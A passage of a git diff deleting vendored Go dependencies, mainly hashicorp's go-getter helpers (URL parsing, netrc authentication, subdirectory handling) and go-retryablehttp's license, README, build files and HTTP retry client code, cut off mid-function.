-google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= -google.golang.org/genproto v0.0.0-20190502173448-54afdca5d873/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= -google.golang.org/genproto v0.0.0-20190801165951-fa694d86fc64/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= -google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55 h1:gSJIx1SDwno+2ElGhA4+qG2zF97qiUzTM+rQ0klBOcE= -google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= -google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= -google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= -google.golang.org/grpc v1.21.1 h1:j6XxA85m/6txkUCHvzlV5f+HBNl/1r5cZ2A/3IEFOO8= -google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= -gopkg.in/cheggaaa/pb.v1 v1.0.27 h1:kJdccidYzt3CaHD1crCFTS1hxyhSi059NhOFUf03YFo= -gopkg.in/cheggaaa/pb.v1 v1.0.27/go.mod h1:V/YB90LKu/1FcN3WVnfiiE5oMCibMjukxqG/qStrOgw= -honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= -honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= -honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= -rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= diff --git a/vendor/github.com/hashicorp/go-getter/helper/url/url.go b/vendor/github.com/hashicorp/go-getter/helper/url/url.go deleted file mode 100644 index 02497c2543..0000000000 --- a/vendor/github.com/hashicorp/go-getter/helper/url/url.go +++ /dev/null @@ -1,14 +0,0 @@ -package url - -import ( - "net/url" -) - -// Parse parses rawURL into a URL structure. -// The rawURL may be relative or absolute. -// -// Parse is a wrapper for the Go stdlib net/url Parse function, but returns -// Windows "safe" URLs on Windows platforms. -func Parse(rawURL string) (*url.URL, error) { - return parse(rawURL) -} diff --git a/vendor/github.com/hashicorp/go-getter/helper/url/url_unix.go b/vendor/github.com/hashicorp/go-getter/helper/url/url_unix.go deleted file mode 100644 index ed1352a917..0000000000 --- a/vendor/github.com/hashicorp/go-getter/helper/url/url_unix.go +++ /dev/null @@ -1,11 +0,0 @@ -// +build !windows - -package url - -import ( - "net/url" -) - -func parse(rawURL string) (*url.URL, error) { - return url.Parse(rawURL) -} diff --git a/vendor/github.com/hashicorp/go-getter/helper/url/url_windows.go b/vendor/github.com/hashicorp/go-getter/helper/url/url_windows.go deleted file mode 100644 index 4280ec59a8..0000000000 --- a/vendor/github.com/hashicorp/go-getter/helper/url/url_windows.go +++ /dev/null @@ -1,39 +0,0 @@ -package url - -import ( - "fmt" - "net/url" - "path/filepath" - "strings" -) - -func parse(rawURL string) (*url.URL, error) { - // Make sure we're using "/" since URLs are "/"-based. - rawURL = filepath.ToSlash(rawURL) - - if len(rawURL) > 1 && rawURL[1] == ':' { - // Assume we're dealing with a drive letter. In which case we - // force the 'file' scheme to avoid "net/url" URL.String() prepending - // our url with "./". - rawURL = "file://" + rawURL - } - - u, err := url.Parse(rawURL) - if err != nil { - return nil, err - } - - if len(u.Host) > 1 && u.Host[1] == ':' && strings.HasPrefix(rawURL, "file://") { - // Assume we're dealing with a drive letter file path where the drive - // letter has been parsed into the URL Host. - u.Path = fmt.Sprintf("%s%s", u.Host, u.Path) - u.Host = "" - } - - // Remove leading slash for absolute file paths. - if len(u.Path) > 2 && u.Path[0] == '/' && u.Path[2] == ':' { - u.Path = u.Path[1:] - } - - return u, err -} diff --git a/vendor/github.com/hashicorp/go-getter/netrc.go b/vendor/github.com/hashicorp/go-getter/netrc.go deleted file mode 100644 index c7f6a3fb3f..0000000000 --- a/vendor/github.com/hashicorp/go-getter/netrc.go +++ /dev/null @@ -1,67 +0,0 @@ -package getter - -import ( - "fmt" - "net/url" - "os" - "runtime" - - "github.com/bgentry/go-netrc/netrc" - "github.com/mitchellh/go-homedir" -) - -// addAuthFromNetrc adds auth information to the URL from the user's -// netrc file if it can be found. This will only add the auth info -// if the URL doesn't already have auth info specified and the -// the username is blank. -func addAuthFromNetrc(u *url.URL) error { - // If the URL already has auth information, do nothing - if u.User != nil && u.User.Username() != "" { - return nil - } - - // Get the netrc file path - path := os.Getenv("NETRC") - if path == "" { - filename := ".netrc" - if runtime.GOOS == "windows" { - filename = "_netrc" - } - - var err error - path, err = homedir.Expand("~/" + filename) - if err != nil { - return err - } - } - - // If the file is not a file, then do nothing - if fi, err := os.Stat(path); err != nil { - // File doesn't exist, do nothing - if os.IsNotExist(err) { - return nil - } - - // Some other error! - return err - } else if fi.IsDir() { - // File is directory, ignore - return nil - } - - // Load up the netrc file - net, err := netrc.ParseFile(path) - if err != nil { - return fmt.Errorf("Error parsing netrc file at %q: %s", path, err) - } - - machine := net.FindMachine(u.Host) - if machine == nil { - // Machine not found, no problem - return nil - } - - // Set the user info - u.User = url.UserPassword(machine.Login, machine.Password) - return nil -} diff --git a/vendor/github.com/hashicorp/go-getter/source.go b/vendor/github.com/hashicorp/go-getter/source.go deleted file mode 100644 index dab6d400cb..0000000000 --- a/vendor/github.com/hashicorp/go-getter/source.go +++ /dev/null @@ -1,75 +0,0 @@ -package getter - -import ( - "fmt" - "path/filepath" - "strings" -) - -// SourceDirSubdir takes a source URL and returns a tuple of the URL without -// the subdir and the subdir. -// -// ex: -// dom.com/path/?q=p => dom.com/path/?q=p, "" -// proto://dom.com/path//*?q=p => proto://dom.com/path?q=p, "*" -// proto://dom.com/path//path2?q=p => proto://dom.com/path?q=p, "path2" -// -func SourceDirSubdir(src string) (string, string) { - - // URL might contains another url in query parameters - stop := len(src) - if idx := strings.Index(src, "?"); idx > -1 { - stop = idx - } - - // Calculate an offset to avoid accidentally marking the scheme - // as the dir. - var offset int - if idx := strings.Index(src[:stop], "://"); idx > -1 { - offset = idx + 3 - } - - // First see if we even have an explicit subdir - idx := strings.Index(src[offset:stop], "//") - if idx == -1 { - return src, "" - } - - idx += offset - subdir := src[idx+2:] - src = src[:idx] - - // Next, check if we have query parameters and push them onto the - // URL. - if idx = strings.Index(subdir, "?"); idx > -1 { - query := subdir[idx:] - subdir = subdir[:idx] - src += query - } - - return src, subdir -} - -// SubdirGlob returns the actual subdir with globbing processed. -// -// dst should be a destination directory that is already populated (the -// download is complete) and subDir should be the set subDir. If subDir -// is an empty string, this returns an empty string. -// -// The returned path is the full absolute path. -func SubdirGlob(dst, subDir string) (string, error) { - matches, err := filepath.Glob(filepath.Join(dst, subDir)) - if err != nil { - return "", err - } - - if len(matches) == 0 { - return "", fmt.Errorf("subdir %q not found", subDir) - } - - if len(matches) > 1 { - return "", fmt.Errorf("subdir %q matches multiple paths", subDir) - } - - return matches[0], nil -} diff --git a/vendor/github.com/hashicorp/go-getter/storage.go b/vendor/github.com/hashicorp/go-getter/storage.go deleted file mode 100644 index 2bc6b9ec33..0000000000 --- a/vendor/github.com/hashicorp/go-getter/storage.go +++ /dev/null @@ -1,13 +0,0 @@ -package getter - -// Storage is an interface that knows how to lookup downloaded directories -// as well as download and update directories from their sources into the -// proper location. -type Storage interface { - // Dir returns the directory on local disk where the directory source - // can be loaded from. - Dir(string) (string, bool, error) - - // Get will download and optionally update the given directory. - Get(string, string, bool) error -} diff --git a/vendor/github.com/hashicorp/go-retryablehttp/.gitignore b/vendor/github.com/hashicorp/go-retryablehttp/.gitignore deleted file mode 100644 index 4e309e0b32..0000000000 --- a/vendor/github.com/hashicorp/go-retryablehttp/.gitignore +++ /dev/null @@ -1,4 +0,0 @@ -.idea/ -*.iml -*.test -.vscode/ \ No newline at end of file diff --git a/vendor/github.com/hashicorp/go-retryablehttp/.travis.yml b/vendor/github.com/hashicorp/go-retryablehttp/.travis.yml deleted file mode 100644 index c4fb6d6c8b..0000000000 --- a/vendor/github.com/hashicorp/go-retryablehttp/.travis.yml +++ /dev/null @@ -1,12 +0,0 @@ -sudo: false - -language: go - -go: - - 1.12.4 - -branches: - only: - - master - -script: make updatedeps test diff --git a/vendor/github.com/hashicorp/go-retryablehttp/LICENSE b/vendor/github.com/hashicorp/go-retryablehttp/LICENSE deleted file mode 100644 index e87a115e46..0000000000 --- a/vendor/github.com/hashicorp/go-retryablehttp/LICENSE +++ /dev/null @@ -1,363 +0,0 @@ -Mozilla Public License, version 2.0 - -1. Definitions - -1.1. "Contributor" - - means each individual or legal entity that creates, contributes to the - creation of, or owns Covered Software. - -1.2. "Contributor Version" - - means the combination of the Contributions of others (if any) used by a - Contributor and that particular Contributor's Contribution. - -1.3. "Contribution" - - means Covered Software of a particular Contributor. - -1.4. "Covered Software" - - means Source Code Form to which the initial Contributor has attached the - notice in Exhibit A, the Executable Form of such Source Code Form, and - Modifications of such Source Code Form, in each case including portions - thereof. - -1.5. "Incompatible With Secondary Licenses" - means - - a. that the initial Contributor has attached the notice described in - Exhibit B to the Covered Software; or - - b. that the Covered Software was made available under the terms of - version 1.1 or earlier of the License, but not also under the terms of - a Secondary License. - -1.6. "Executable Form" - - means any form of the work other than Source Code Form. - -1.7. "Larger Work" - - means a work that combines Covered Software with other material, in a - separate file or files, that is not Covered Software. - -1.8. "License" - - means this document. - -1.9. "Licensable" - - means having the right to grant, to the maximum extent possible, whether - at the time of the initial grant or subsequently, any and all of the - rights conveyed by this License. - -1.10. "Modifications" - - means any of the following: - - a. any file in Source Code Form that results from an addition to, - deletion from, or modification of the contents of Covered Software; or - - b. any new file in Source Code Form that contains any Covered Software. - -1.11. "Patent Claims" of a Contributor - - means any patent claim(s), including without limitation, method, - process, and apparatus claims, in any patent Licensable by such - Contributor that would be infringed, but for the grant of the License, - by the making, using, selling, offering for sale, having made, import, - or transfer of either its Contributions or its Contributor Version. - -1.12. "Secondary License" - - means either the GNU General Public License, Version 2.0, the GNU Lesser - General Public License, Version 2.1, the GNU Affero General Public - License, Version 3.0, or any later versions of those licenses. - -1.13. "Source Code Form" - - means the form of the work preferred for making modifications. - -1.14. "You" (or "Your") - - means an individual or a legal entity exercising rights under this - License. For legal entities, "You" includes any entity that controls, is - controlled by, or is under common control with You. For purposes of this - definition, "control" means (a) the power, direct or indirect, to cause - the direction or management of such entity, whether by contract or - otherwise, or (b) ownership of more than fifty percent (50%) of the - outstanding shares or beneficial ownership of such entity. - - -2. License Grants and Conditions - -2.1. Grants - - Each Contributor hereby grants You a world-wide, royalty-free, - non-exclusive license: - - a. under intellectual property rights (other than patent or trademark) - Licensable by such Contributor to use, reproduce, make available, - modify, display, perform, distribute, and otherwise exploit its - Contributions, either on an unmodified basis, with Modifications, or - as part of a Larger Work; and - - b. under Patent Claims of such Contributor to make, use, sell, offer for - sale, have made, import, and otherwise transfer either its - Contributions or its Contributor Version. - -2.2. Effective Date - - The licenses granted in Section 2.1 with respect to any Contribution - become effective for each Contribution on the date the Contributor first - distributes such Contribution. - -2.3. Limitations on Grant Scope - - The licenses granted in this Section 2 are the only rights granted under - this License. No additional rights or licenses will be implied from the - distribution or licensing of Covered Software under this License. - Notwithstanding Section 2.1(b) above, no patent license is granted by a - Contributor: - - a. for any code that a Contributor has removed from Covered Software; or - - b. for infringements caused by: (i) Your and any other third party's - modifications of Covered Software, or (ii) the combination of its - Contributions with other software (except as part of its Contributor - Version); or - - c. under Patent Claims infringed by Covered Software in the absence of - its Contributions. - - This License does not grant any rights in the trademarks, service marks, - or logos of any Contributor (except as may be necessary to comply with - the notice requirements in Section 3.4). - -2.4. Subsequent Licenses - - No Contributor makes additional grants as a result of Your choice to - distribute the Covered Software under a subsequent version of this - License (see Section 10.2) or under the terms of a Secondary License (if - permitted under the terms of Section 3.3). - -2.5. Representation - - Each Contributor represents that the Contributor believes its - Contributions are its original creation(s) or it has sufficient rights to - grant the rights to its Contributions conveyed by this License. - -2.6. Fair Use - - This License is not intended to limit any rights You have under - applicable copyright doctrines of fair use, fair dealing, or other - equivalents. - -2.7. Conditions - - Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted in - Section 2.1. - - -3. Responsibilities - -3.1. Distribution of Source Form - - All distribution of Covered Software in Source Code Form, including any - Modifications that You create or to which You contribute, must be under - the terms of this License. You must inform recipients that the Source - Code Form of the Covered Software is governed by the terms of this - License, and how they can obtain a copy of this License. You may not - attempt to alter or restrict the recipients' rights in the Source Code - Form. - -3.2. Distribution of Executable Form - - If You distribute Covered Software in Executable Form then: - - a. such Covered Software must also be made available in Source Code Form, - as described in Section 3.1, and You must inform recipients of the - Executable Form how they can obtain a copy of such Source Code Form by - reasonable means in a timely manner, at a charge no more than the cost - of distribution to the recipient; and - - b. You may distribute such Executable Form under the terms of this - License, or sublicense it under different terms, provided that the - license for the Executable Form does not attempt to limit or alter the - recipients' rights in the Source Code Form under this License. - -3.3. Distribution of a Larger Work - - You may create and distribute a Larger Work under terms of Your choice, - provided that You also comply with the requirements of this License for - the Covered Software. If the Larger Work is a combination of Covered - Software with a work governed by one or more Secondary Licenses, and the - Covered Software is not Incompatible With Secondary Licenses, this - License permits You to additionally distribute such Covered Software - under the terms of such Secondary License(s), so that the recipient of - the Larger Work may, at their option, further distribute the Covered - Software under the terms of either this License or such Secondary - License(s). - -3.4. Notices - - You may not remove or alter the substance of any license notices - (including copyright notices, patent notices, disclaimers of warranty, or - limitations of liability) contained within the Source Code Form of the - Covered Software, except that You may alter any license notices to the - extent required to remedy known factual inaccuracies. - -3.5. Application of Additional Terms - - You may choose to offer, and to charge a fee for, warranty, support, - indemnity or liability obligations to one or more recipients of Covered - Software. However, You may do so only on Your own behalf, and not on - behalf of any Contributor. You must make it absolutely clear that any - such warranty, support, indemnity, or liability obligation is offered by - You alone, and You hereby agree to indemnify every Contributor for any - liability incurred by such Contributor as a result of warranty, support, - indemnity or liability terms You offer. You may include additional - disclaimers of warranty and limitations of liability specific to any - jurisdiction. - -4. Inability to Comply Due to Statute or Regulation - - If it is impossible for You to comply with any of the terms of this License - with respect to some or all of the Covered Software due to statute, - judicial order, or regulation then You must: (a) comply with the terms of - this License to the maximum extent possible; and (b) describe the - limitations and the code they affect. Such description must be placed in a - text file included with all distributions of the Covered Software under - this License. Except to the extent prohibited by statute or regulation, - such description must be sufficiently detailed for a recipient of ordinary - skill to be able to understand it. - -5. Termination - -5.1. The rights granted under this License will terminate automatically if You - fail to comply with any of its terms. However, if You become compliant, - then the rights granted under this License from a particular Contributor - are reinstated (a) provisionally, unless and until such Contributor - explicitly and finally terminates Your grants, and (b) on an ongoing - basis, if such Contributor fails to notify You of the non-compliance by - some reasonable means prior to 60 days after You have come back into - compliance. Moreover, Your grants from a particular Contributor are - reinstated on an ongoing basis if such Contributor notifies You of the - non-compliance by some reasonable means, this is the first time You have - received notice of non-compliance with this License from such - Contributor, and You become compliant prior to 30 days after Your receipt - of the notice. - -5.2. If You initiate litigation against any entity by asserting a patent - infringement claim (excluding declaratory judgment actions, - counter-claims, and cross-claims) alleging that a Contributor Version - directly or indirectly infringes any patent, then the rights granted to - You by any and all Contributors for the Covered Software under Section - 2.1 of this License shall terminate. - -5.3. In the event of termination under Sections 5.1 or 5.2 above, all end user - license agreements (excluding distributors and resellers) which have been - validly granted by You or Your distributors under this License prior to - termination shall survive termination. - -6. Disclaimer of Warranty - - Covered Software is provided under this License on an "as is" basis, - without warranty of any kind, either expressed, implied, or statutory, - including, without limitation, warranties that the Covered Software is free - of defects, merchantable, fit for a particular purpose or non-infringing. - The entire risk as to the quality and performance of the Covered Software - is with You. Should any Covered Software prove defective in any respect, - You (not any Contributor) assume the cost of any necessary servicing, - repair, or correction. This disclaimer of warranty constitutes an essential - part of this License. No use of any Covered Software is authorized under - this License except under this disclaimer. - -7. Limitation of Liability - - Under no circumstances and under no legal theory, whether tort (including - negligence), contract, or otherwise, shall any Contributor, or anyone who - distributes Covered Software as permitted above, be liable to You for any - direct, indirect, special, incidental, or consequential damages of any - character including, without limitation, damages for lost profits, loss of - goodwill, work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses, even if such party shall have been - informed of the possibility of such damages. This limitation of liability - shall not apply to liability for death or personal injury resulting from - such party's negligence to the extent applicable law prohibits such - limitation. Some jurisdictions do not allow the exclusion or limitation of - incidental or consequential damages, so this exclusion and limitation may - not apply to You. - -8. Litigation - - Any litigation relating to this License may be brought only in the courts - of a jurisdiction where the defendant maintains its principal place of - business and such litigation shall be governed by laws of that - jurisdiction, without reference to its conflict-of-law provisions. Nothing - in this Section shall prevent a party's ability to bring cross-claims or - counter-claims. - -9. Miscellaneous - - This License represents the complete agreement concerning the subject - matter hereof. If any provision of this License is held to be - unenforceable, such provision shall be reformed only to the extent - necessary to make it enforceable. Any law or regulation which provides that - the language of a contract shall be construed against the drafter shall not - be used to construe this License against a Contributor. - - -10. Versions of the License - -10.1. New Versions - - Mozilla Foundation is the license steward. Except as provided in Section - 10.3, no one other than the license steward has the right to modify or - publish new versions of this License. Each version will be given a - distinguishing version number. - -10.2. Effect of New Versions - - You may distribute the Covered Software under the terms of the version - of the License under which You originally received the Covered Software, - or under the terms of any subsequent version published by the license - steward. - -10.3. Modified Versions - - If you create software not governed by this License, and you want to - create a new license for such software, you may create and use a - modified version of this License if you rename the license and remove - any references to the name of the license steward (except to note that - such modified license differs from this License). - -10.4. Distributing Source Code Form that is Incompatible With Secondary - Licenses If You choose to distribute Source Code Form that is - Incompatible With Secondary Licenses under the terms of this version of - the License, the notice described in Exhibit B of this License must be - attached. - -Exhibit A - Source Code Form License Notice - - This Source Code Form is subject to the - terms of the Mozilla Public License, v. - 2.0. If a copy of the MPL was not - distributed with this file, You can - obtain one at - http://mozilla.org/MPL/2.0/. - -If it is not possible or desirable to put the notice in a particular file, -then You may include the notice in a location (such as a LICENSE file in a -relevant directory) where a recipient would be likely to look for such a -notice. - -You may add additional accurate notices of copyright ownership. - -Exhibit B - "Incompatible With Secondary Licenses" Notice - - This Source Code Form is "Incompatible - With Secondary Licenses", as defined by - the Mozilla Public License, v. 2.0. - diff --git a/vendor/github.com/hashicorp/go-retryablehttp/Makefile b/vendor/github.com/hashicorp/go-retryablehttp/Makefile deleted file mode 100644 index da17640e64..0000000000 --- a/vendor/github.com/hashicorp/go-retryablehttp/Makefile +++ /dev/null @@ -1,11 +0,0 @@ -default: test - -test: - go vet ./... - go test -race ./... - -updatedeps: - go get -f -t -u ./... - go get -f -u ./... - -.PHONY: default test updatedeps diff --git a/vendor/github.com/hashicorp/go-retryablehttp/README.md b/vendor/github.com/hashicorp/go-retryablehttp/README.md deleted file mode 100644 index b8cc459bf7..0000000000 --- a/vendor/github.com/hashicorp/go-retryablehttp/README.md +++ /dev/null @@ -1,48 +0,0 @@ -go-retryablehttp -================ - -[![Build Status](http://img.shields.io/travis/hashicorp/go-retryablehttp.svg?style=flat-square)][travis] -[![Go Documentation](http://img.shields.io/badge/go-documentation-blue.svg?style=flat-square)][godocs] - -[travis]: http://travis-ci.org/hashicorp/go-retryablehttp -[godocs]: http://godoc.org/github.com/hashicorp/go-retryablehttp - -The `retryablehttp` package provides a familiar HTTP client interface with -automatic retries and exponential backoff. It is a thin wrapper over the -standard `net/http` client library and exposes nearly the same public API. This -makes `retryablehttp` very easy to drop into existing programs. - -`retryablehttp` performs automatic retries under certain conditions. Mainly, if -an error is returned by the client (connection errors, etc.), or if a 500-range -response code is received (except 501), then a retry is invoked after a wait -period. Otherwise, the response is returned and left to the caller to -interpret. - -The main difference from `net/http` is that requests which take a request body -(POST/PUT et. al) can have the body provided in a number of ways (some more or -less efficient) that allow "rewinding" the request body if the initial request -fails so that the full request can be attempted again. See the -[godoc](http://godoc.org/github.com/hashicorp/go-retryablehttp) for more -details. - -Version 0.6.0 and before are compatible with Go prior to 1.12. From 0.6.1 onward, Go 1.12+ is required. - -Example Use -=========== - -Using this library should look almost identical to what you would do with -`net/http`. The most simple example of a GET request is shown below: - -```go -resp, err := retryablehttp.Get("/foo") -if err != nil { - panic(err) -} -``` - -The returned response object is an `*http.Response`, the same thing you would -usually get from `net/http`. Had the request failed one or more times, the above -call would block and retry with exponential backoff. - -For more usage and examples see the -[godoc](http://godoc.org/github.com/hashicorp/go-retryablehttp). diff --git a/vendor/github.com/hashicorp/go-retryablehttp/client.go b/vendor/github.com/hashicorp/go-retryablehttp/client.go deleted file mode 100644 index 7bfa75933e..0000000000 --- a/vendor/github.com/hashicorp/go-retryablehttp/client.go +++ /dev/null @@ -1,665 +0,0 @@ -// The retryablehttp package provides a familiar HTTP client interface with -// automatic retries and exponential backoff. It is a thin wrapper over the -// standard net/http client library and exposes nearly the same public API. -// This makes retryablehttp very easy to drop into existing programs. -// -// retryablehttp performs automatic retries under certain conditions. Mainly, if -// an error is returned by the client (connection errors etc), or if a 500-range -// response is received, then a retry is invoked. Otherwise, the response is -// returned and left to the caller to interpret. -// -// Requests which take a request body should provide a non-nil function -// parameter. The best choice is to provide either a function satisfying -// ReaderFunc which provides multiple io.Readers in an efficient manner, a -// *bytes.Buffer (the underlying raw byte slice will be used) or a raw byte -// slice. As it is a reference type, and we will wrap it as needed by readers, -// we can efficiently re-use the request body without needing to copy it. If an -// io.Reader (such as a *bytes.Reader) is provided, the full body will be read -// prior to the first request, and will be efficiently re-used for any retries. -// ReadSeeker can be used, but some users have observed occasional data races -// between the net/http library and the Seek functionality of some -// implementations of ReadSeeker, so should be avoided if possible. -package retryablehttp - -import ( - "bytes" - "context" - "crypto/x509" - "fmt" - "io" - "io/ioutil" - "log" - "math" - "math/rand" - "net/http" - "net/url" - "os" - "regexp" - "strings" - "sync" - "time" - - "github.com/hashicorp/go-cleanhttp" -) - -var ( - // Default retry configuration - defaultRetryWaitMin = 1 * time.Second - defaultRetryWaitMax = 30 * time.Second - defaultRetryMax = 4 - - // defaultLogger is the logger provided with defaultClient - defaultLogger = log.New(os.Stderr, "", log.LstdFlags) - - // defaultClient is used for performing requests without explicitly making - // a new client. It is purposely private to avoid modifications. - defaultClient = NewClient() - - // We need to consume response bodies to maintain http connections, but - // limit the size we consume to respReadLimit. - respReadLimit = int64(4096) - - // A regular expression to match the error returned by net/http when the - // configured number of redirects is exhausted. This error isn't typed - // specifically so we resort to matching on the error string. - redirectsErrorRe = regexp.MustCompile(`stopped after \d+ redirects\z`) - - // A regular expression to match the error returned by net/http when the - // scheme specified in the URL is invalid. This error isn't typed - // specifically so we resort to matching on the error string. - schemeErrorRe = regexp.MustCompile(`unsupported protocol scheme`) -) - -// ReaderFunc is the type of function that can be given natively to NewRequest -type ReaderFunc func() (io.Reader, error) - -// LenReader is an interface implemented by many in-memory io.Reader's. Used -// for automatically sending the right Content-Length header when possible. -type LenReader interface { - Len() int -} - -// Request wraps the metadata needed to create HTTP requests. -type Request struct { - // body is a seekable reader over the request body payload. This is - // used to rewind the request data in between retries. - body ReaderFunc - - // Embed an HTTP request directly. This makes a *Request act exactly - // like an *http.Request so that all meta methods are supported. - *http.Request -} - -// WithContext returns wrapped Request with a shallow copy of underlying *http.Request -// with its context changed to ctx. The provided ctx must be non-nil. -func (r *Request) WithContext(ctx context.Context) *Request { - r.Request = r.Request.WithContext(ctx) - return r -} - -// BodyBytes allows accessing the request body. It is an analogue to -// http.Request's Body variable, but it returns a copy of the underlying data -// rather than consuming it. -// -// This function is not thread-safe; do not call it at the same time as another -// call, or at the same time this request is being used with Client.Do. -func (r *Request) BodyBytes() ([]byte, error) { - if r.body == nil { - return nil, nil - } - body, err := r.body() - if err != nil { - return nil, err - } - buf := new(bytes.Buffer) - _, err = buf.ReadFrom(body) - if err != nil { - return nil, err - } - return buf.Bytes(), nil -} - -func getBodyReaderAndContentLength(rawBody interface{}) (ReaderFunc, int64, error) { - var bodyReader ReaderFunc - var contentLength int64 - - if rawBody != nil { - switch body := rawBody.(type) { - // If they gave us a function already, great! Use it. - case ReaderFunc: - bodyReader = body - tmp, err := body() - if err != nil { - return nil, 0, err - } - if lr, ok := tmp.(LenReader); ok { - contentLength = int64(lr.Len()) - } - if c, ok := tmp.(io.Closer); ok { - c.Close() - } - - case func() (io.Reader, error): - bodyReader = body - tmp, err := body() - if err != nil { - return nil, 0, err - } - if lr, ok := tmp.(LenReader); ok { - contentLength = int64(lr.Len()) - } - if c, ok := tmp.(io.Closer); ok { - c.Close() - } - - // If a regular byte slice, we can read it over and over via new - // readers - case []byte: - buf := body - bodyReader = func() (io.Reader, error) { - return bytes.NewReader(buf), nil - } - contentLength = int64(len(buf)) - - // If a bytes.Buffer we can read the underlying byte slice over and - // over - case *bytes.Buffer: - buf := body - bodyReader = func() (io.Reader, error) { - return bytes.NewReader(buf.Bytes()), nil - } - contentLength = int64(buf.Len()) - - // We prioritize *bytes.Reader here because we don't really want to - // deal with it seeking so want it to match here instead of the - // io.ReadSeeker case. - case *bytes.Reader: - buf, err := ioutil.ReadAll(body) - if err != nil { - return nil, 0, err - } - bodyReader = func() (io.Reader, error) { - return bytes.NewReader(buf), nil - } - contentLength = int64(len(buf)) - - // Compat case - case io.ReadSeeker: - raw := body - bodyReader = func() (io.Reader, error) { - _, err := raw.Seek(0, 0) - return ioutil.NopCloser(raw), err - } - if lr, ok := raw.(LenReader); ok { - contentLength = int64(lr.Len()) - } - - // Read all in so we can reset - case io.Reader: - buf, err := ioutil.ReadAll(body) - if err != nil { - return nil, 0, err - } - bodyReader = func() (io.Reader, error) { - return bytes.NewReader(buf), nil - } - contentLength = int64(len(buf)) - - default: - return nil, 0, fmt.Errorf("cannot handle type %T", rawBody) - } - } - return bodyReader, contentLength, nil -} - -// FromRequest wraps an http.Request in a retryablehttp.Request -func FromRequest(r *http.Request) (*Request, error) { - bodyReader, _, err := getBodyReaderAndContentLength(r.Body) - if err != nil { - return nil, err - } - // Could assert contentLength == r.ContentLength - return &Request{bodyReader, r}, nil -} - -// NewRequest creates a new wrapped request. -func NewRequest(method, url string, rawBody interface{}) (*Request, error) { - bodyReader, contentLength, err := getBodyReaderAndContentLength(rawBody) - if err != nil { - return nil, err - } - - httpReq, err := http.NewRequest(method, url, nil) - if err != nil { - return nil, err - } - httpReq.ContentLength = contentLength - - return &Request{bodyReader, httpReq}, nil -} - -// Logger interface allows to use other loggers than -// standard log.Logger. -type Logger interface { - Printf(string, ...interface{}) -} - -// LeveledLogger interface implements the basic methods that a logger library needs -type LeveledLogger interface { - Error(string, ...interface{}) - Info(string, ...interface{}) - Debug(string, ...interface{}) - Warn(string, ...interface{}) -} - -// hookLogger adapts an LeveledLogger to Logger for use by the existing hook functions -// without changing the API. -type hookLogger struct { - LeveledLogger -} - -func (h hookLogger) Printf(s string, args ...interface{}) { - h.Info(fmt.Sprintf(s, args...)) -} - -// RequestLogHook allows a function to run before each retry. The HTTP -// request which will be made, and the retry number (0 for the initial -// request) are available to users. The internal logger is exposed to -// consumers. -type RequestLogHook func(Logger, *http.Request, int) - -// ResponseLogHook is like RequestLogHook, but allows running a function -// on each HTTP response. This function will be invoked at the end of -// every HTTP request executed, regardless of whether a subsequent retry -// needs to be performed or not. If the response body is read or closed -// from this method, this will affect the response returned from Do(). -type ResponseLogHook func(Logger, *http.Response) - -// CheckRetry specifies a policy for handling retries. It is called -// following each request with the response and error values returned by -// the http.Client. If CheckRetry returns false, the Client stops retrying -// and returns the response to the caller. If CheckRetry returns an error, -// that error value is returned in lieu of the error from the request. The -// Client will close any response body when retrying, but if the retry is -// aborted it is up to the CheckRetry callback to properly close any -// response body before returning. -type CheckRetry func(ctx context.Context, resp *http.Response, err error) (bool, error) - -// Backoff specifies a policy for how long to wait between retries. -// It is called after a failing request to determine the amount of time -// that should pass before trying again. -type Backoff func(min, max time.Duration, attemptNum int, resp *http.Response) time.Duration - -// ErrorHandler is called if retries are expired, containing the last status -// from the http library. If not specified, default behavior for the library is -// to close the body and return an error indicating how many tries were -// attempted. If overriding this, be sure to close the body if needed. -type ErrorHandler func(resp *http.Response, err error, numTries int) (*http.Response, error) - -// Client is used to make HTTP requests. It adds additional functionality -// like automatic retries to tolerate minor outages. -type Client struct { - HTTPClient *http.Client // Internal HTTP client. - Logger interface{} // Customer logger instance. Can be either Logger or LeveledLogger - - RetryWaitMin time.Duration // Minimum time to wait - RetryWaitMax time.Duration // Maximum time to wait - RetryMax int // Maximum number of retries - - // RequestLogHook allows a user-supplied function to be called - // before each retry. - RequestLogHook RequestLogHook - - // ResponseLogHook allows a user-supplied function to be called - // with the response from each HTTP request executed. - ResponseLogHook ResponseLogHook - - // CheckRetry specifies the policy for handling retries, and is called - // after each request. The default policy is DefaultRetryPolicy. - CheckRetry CheckRetry - - // Backoff specifies the policy for how long to wait between retries - Backoff Backoff - - // ErrorHandler specifies the custom error handler to use, if any - ErrorHandler ErrorHandler - - loggerInit sync.Once -} - -// NewClient creates a new Client with default settings. -func NewClient() *Client { - return &Client{ - HTTPClient: cleanhttp.DefaultPooledClient(), - Logger: defaultLogger, - RetryWaitMin: defaultRetryWaitMin, - RetryWaitMax: defaultRetryWaitMax, - RetryMax: defaultRetryMax, - CheckRetry: DefaultRetryPolicy, - Backoff: DefaultBackoff, - } -} - -func (c *Client) 